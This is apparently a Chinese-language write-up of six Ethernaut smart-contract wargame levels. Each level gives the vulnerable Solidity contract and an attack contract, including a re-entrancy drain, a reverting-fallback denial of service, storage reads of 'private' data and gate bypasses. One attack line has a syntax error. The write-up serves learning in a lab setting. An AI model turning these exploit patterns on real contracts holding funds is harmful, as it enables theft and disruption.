0x00 King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

address public king;
uint public prize;

function King() public payable {
king = msg.sender;
prize = msg.value;
}

function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}

这道题目标是阻止其他人成为King,先看看合约的逻辑,非常简单,价高者为King,而且会将前任King的钱退回去。

这里的漏洞点应该在transfer函数,查阅手册后我们知道,transfer函数在失败后会抛出错误并进行回滚,那如果我们在这一步一直抛出错误,代码就进行不下去,其他人也就无法成为King。

那就构造一个合约来完成,在收到转账时,默认会调用callback函数,看来我们需要再callback上下文章,我们让callback直接抛出错误,这样就可以达成目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pragma solidity ^0.4.18;


contract attack {
address to = 0x899c36c7b5ae649ee646868a042cb479dde98da0;
function pay() payable {

}
function sendto() public{
to.send(1.05 ether);
}
function () public{
revert();
}
}

0x01 Re-entrancy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

function() public payable {}
}

这道题就是著名的重入漏洞,首先我们学习几个solidity的基础知识

1
.transfer()
  • 当发送失败时会 throw; 回滚状态
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)
1
.send()
  • 当发送失败时会返回 false
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)
1
.call.value()()
  • 当发送失败时会返回 false
  • 传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)

可以发现,该合约中使用的正是危险的call.value()()函数。我们可以借此攻击,攻击的原理是,合约会先检查用户的余额,通过测试之后给用户转账,然后扣除相应的余额,那么我们已经知道了,转账操作会调用目标账户的callback函数,若我们在callback函数里再次调用了这里的withdraw,那么会再次执行转账操作,因为余额没有被扣除,所以我们可以递归的将该钱包里面的所有钱都转账出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
contract Attack {

address instance_address = 0xc9402d058d2fcbae5dd29ea4762950af00504ecf;
Reentrance target = Reentrance(instance_address);

function Attack() payable{}

function donate() public payable {
target.donate.value(msg.value)(this);
}

function hack() public {
target.withdraw(0.5 ether);
}

function get_balance() public view returns(uint) {
return target.balanceOf(this);
}

function my_eth_bal() public view returns(uint) {
return address(this).balance;
}

function ins_eth_bal() public view returns(uint) {
return instance_address.balance;
}

function () public payable {
target.withdraw(0.5 ether);
}
}

0x02 Elevator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;


interface Building {
function isLastFloor(uint) view public returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

solidity这个view里面居然也是可以修改值的,跪了。

直接实现isLastFloor()就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.18;

interface Building {
function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract Attack {

address to = 0xe4ab1eeb930a4425f5ef9da4f227c40b9b5cc688;
Elevator target = Elevator(to);
bool public isLast = true;

function isLastFloor(uint) public returns (bool) {
isLast = ! isLast;
return isLast;
}

function hack() public {
target.goTo(1024);
}

}

0x03 Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.18;

contract Privacy {

bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

function Privacy(bytes32[3] _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

跟上面的一道题很像,让我们unlock,那么这里需要读的是转成bytes16的data[2],我们用一用的方法吧存储的全部数据拿出来。

1
2
3
4
5
6
7
8
9
10
11
web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)});
数据为:
0x0000000000000000000000000000000000000000000000000000009c4dff0a01
0x51641dba3274da0e774037dd4d31623ea60791e676bd23e5553e44ddc6ebd9eb
0xdde5a3957f1e722b01876b459dc5799e91ccc6ab3355a28148246da3c2b41b2f
0xbe7bdb66b7bf731ae259bf386e303a8c892596c3241c9d1ede6a51c3141901a8

因为定义的data数组是bytes32的,所以data[2]就是最后一行的数据,转成16位,就取前16位就OK

0x04 Gatekeeper One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(msg.gas.mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

前两个都可以在合约层面满足,第三个需要从数据的存储出发来构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.4.18;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract Attack {

address instance_address = 0x396523f3d78eef3adf4a062fd2acc570462120c2;
bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

GatekeeperOne target = GatekeeperOne(instance_address);

function hack() public {
target.enter.gas(819100), _gateKey);
}
}

0x05 Gatekeeper Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

第一关好绕,第三关是数据层面上的构造,第二层查了一下extcodesize,发现是返回代码长度。。。这该如何是好。

查了大佬的文章后知道这里只要代码在构造函数中就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.18;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract Attack {

address to = 0x2bc30f8d14fc4d3dd596e4e72ef8a398f5e9cebc;
GatekeeperTwo target = GatekeeperTwo(to);

function Attack(){
target.enter((bytes8)(uint64(keccak256(address(this))) ^ (uint64(0) - 1)));
}

}

OK,先做到这里。。。剩下的题目。。。。下次一定